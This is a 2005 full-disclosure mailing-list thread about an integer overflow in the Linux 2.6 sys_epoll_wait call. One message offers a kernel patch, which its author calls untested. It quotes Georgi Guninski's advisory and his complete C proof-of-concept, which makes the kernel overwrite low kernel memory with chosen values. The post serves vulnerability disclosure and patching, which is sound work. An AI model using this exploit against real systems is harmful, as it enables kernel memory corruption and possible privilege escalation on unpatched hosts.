full-disclosure - overwriting low kernel memory

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Message-ID: <d60803f3050309063019adb754@mail.gmail.com>
From: the.go0m at gmail.com (g g0)
Subject: overwriting low kernel memory

taken from bitkeeper,  a little different but applies, compiles, . . .
but untested

--- linux-2.6.11/fs/eventpoll.c 2005-03-09 09:14:24.994890544 -0500
+++ linux-2.6.11-patched/fs/eventpoll.c 2005-03-09 09:07:09.904034408 -0500
@@ -627,6 +627,9 @@ eexit_1:
 asmlinkage long sys_epoll_wait(int epfd, struct epoll_event __user *events,
                               int maxevents, int timeout)
 {
+
+#define MAX_EVENTS (INT_MAX / sizeof(struct epoll_event))
+
        int error;
        struct file *file;
        struct eventpoll *ep;
@@ -635,7 +638,7 @@ asmlinkage long sys_epoll_wait(int epfd,
                     current, epfd, events, maxevents, timeout));

        /* The maximum number of event must be greater than zero */
-       if (maxevents <= 0)
+       if (maxevents <= 0 || maxevents > MAX_EVENTS)
                return -EINVAL;

        /* Verify that the area passed by the user is writeable */



On Wed, 9 Mar 2005 12:42:19 +0200, Georgi Guninski
<guninski@...inski.com> wrote:
> it is possible to partially overwrite low kernel ( >= 2.6 <= 2.6.11) memory
> due to integer overflow in sys_epoll_wait and misuse of __put_user
> in ep_send_events
> 
> tested on i386.
> despite the overflow, the os seemingly continues normal operation.
> 
> fix:
> http://linux.bkbits.net:8080/linux-2.6/cset@...dd06a1p5PsyFhoGAJseinjEq3ew?nav=index.html|ChangeSet@-1d
> 
> -------------------------------------------------
> /*
>  * copyright georgi guninski.
>  * cannot be used in vulnerabilities databases like securityfocus and mitre
>  * */
> #include <stdio.h>
> #include <sys/epoll.h>
> #include <sys/socket.h>
> #include <sys/socket.h>
> #include <netinet/in.h>
> #include <arpa/inet.h>
> #include <unistd.h>
> #include <stdlib.h>
> #define __KERNEL__
> #include <asm/processor.h>
> #undef __KERNEL__
> 
> #define MAXV 500
> 
> int main(int argc,char ** argv)
> {
> int epfd;
> int i;
> int res;
> struct epoll_event ev;
> int *fds;
> int over;
> void *km;
> 
> over= ((unsigned int)-1)/sizeof(struct epoll_event)+1;
> km=(void *)(TASK_SIZE - over*sizeof(struct epoll_event) - 4);
> printf("sizeof=%d %x %lx\n",sizeof(struct epoll_event),over,(unsigned long)km);
> 
>         epfd = epoll_create(MAXV);
>         printf("Epoll descriptor %i\n",epfd);
>         fds=calloc(2*MAXV,sizeof(int));
> for(i=0;i<MAXV;i++)
> {
>         if (socketpair(AF_UNIX, SOCK_STREAM, 0, &fds[2*i])) perror("pair");
>         ev.data.u32 = 0x42424242;
>         ev.events = EPOLLOUT|EPOLLIN | 0x42424242;
>         res = epoll_ctl(epfd,EPOLL_CTL_ADD,fds[2*i],&ev);
> }
> for(i=0;i<MAXV;i++) write(fds[2*i+1],&i,sizeof(i));
> 
> system("sync");
> 
>         for(i = 0; i < 1; i++)
>         {
>                 res = epoll_wait(epfd,km,over,-1);
>                 printf("epoll_wait returned %i\n",res);
>                 printf("check what is after TASK_SIZE\n");
>         }
> 
>         close(epfd);
>         return 42;
> }
> -----------------------------------------
> 
> --
> where do you want bill gates to go today?
> 
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